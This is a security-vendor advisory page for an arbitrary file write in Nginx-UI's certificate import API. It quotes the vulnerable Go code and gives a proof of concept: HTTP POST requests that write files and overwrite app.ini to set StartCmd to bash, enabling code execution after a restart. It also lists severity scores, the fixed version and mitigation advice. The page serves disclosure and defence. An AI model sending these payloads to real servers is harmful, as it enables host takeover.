GHSA-xvq9-4vpv-227m is a critical-severity (CVSS 9.8) remote code execution vulnerability in github.com/0xJacky/Nginx-UI. A fix is available for github.com/0xJacky/Nginx-UI — see the affected versions and patch details below.
Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xvq9-4vpv-227m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-xvq9-4vpv-227m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/0xJacky/Nginx-UIReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.
func AddCert(c *gin.Context) {
var json struct {
Name string `json:"name"`
SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"`
SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
SSLCertificate string `json:"ssl_certificate"`
SSLCertificateKey string `json:"ssl_certificate_key"`
ChallengeMethod string `json:"challenge_method"`
DnsCredentialID int `json:"dns_credential_id"`
}
if !api.BindAndValid(c, &json) {
return
}
certModel := &model.Cert{
Name: json.Name,
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
ChallengeMethod: json.ChallengeMethod,
DnsCredentialID: json.DnsCredentialID,
}
err := certModel.Insert()
if err != nil {
api.ErrHandler(c, err)
return
}
content := &cert.Content{
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
SSLCertificate: json.SSLCertificate,
SSLCertificateKey: json.SSLCertificateKey,
}
err = content.WriteFile()
if err != nil {
api.ErrHandler(c, err)
return
}
c.JSON(http.StatusOK, Transformer(certModel))
}
func (c *Content) WriteFile() (err error) {
// MkdirAll creates a directory named path, along with any necessary parents,
// and returns nil, or else returns an error.
// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
// If path is already a directory, MkdirAll does nothing and returns nil.
err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
if err != nil {
return
}
err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
if err != nil {
return
}
if c.SSLCertificate != "" {
err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
if err != nil {
return
}
}
if c.SSLCertificateKey != "" {
err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
if err != nil {
return
}
}
return
}
PoC
POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 144
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close
{"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"}
root@aze:~/nginx# ls -la /tmp/test*
-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test
-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2
It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.
root@aze:~/nginx# cat app.ini | grep "StartCmd"
StartCmd = login
Then we overwrite the StartCmd with bash
POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close
{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = [email protected]\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"}
root@aze:~/nginx# cat app.ini | grep "StartCmd"
StartCmd = bash
For the new config to be applied the app needs to be restarted

Impact
Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/0xJacky/Nginx-UI | all versions | 1.9.10-0.20240128060047-8581bdd3c6f4go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20240128060047-8581bdd3c6f4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/0xJacky/Nginx-UI, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/0xJacky/Nginx-UI to 1.9.10-0.20240128060047-8581bdd3c6f4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xvq9-4vpv-227m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xvq9-4vpv-227m can be triaged on real exposure rather than presence alone.
Tailored to GHSA-xvq9-4vpv-227m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xvq9-4vpv-227m in your dependencies?
O3 Security finds GHSA-xvq9-4vpv-227m across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.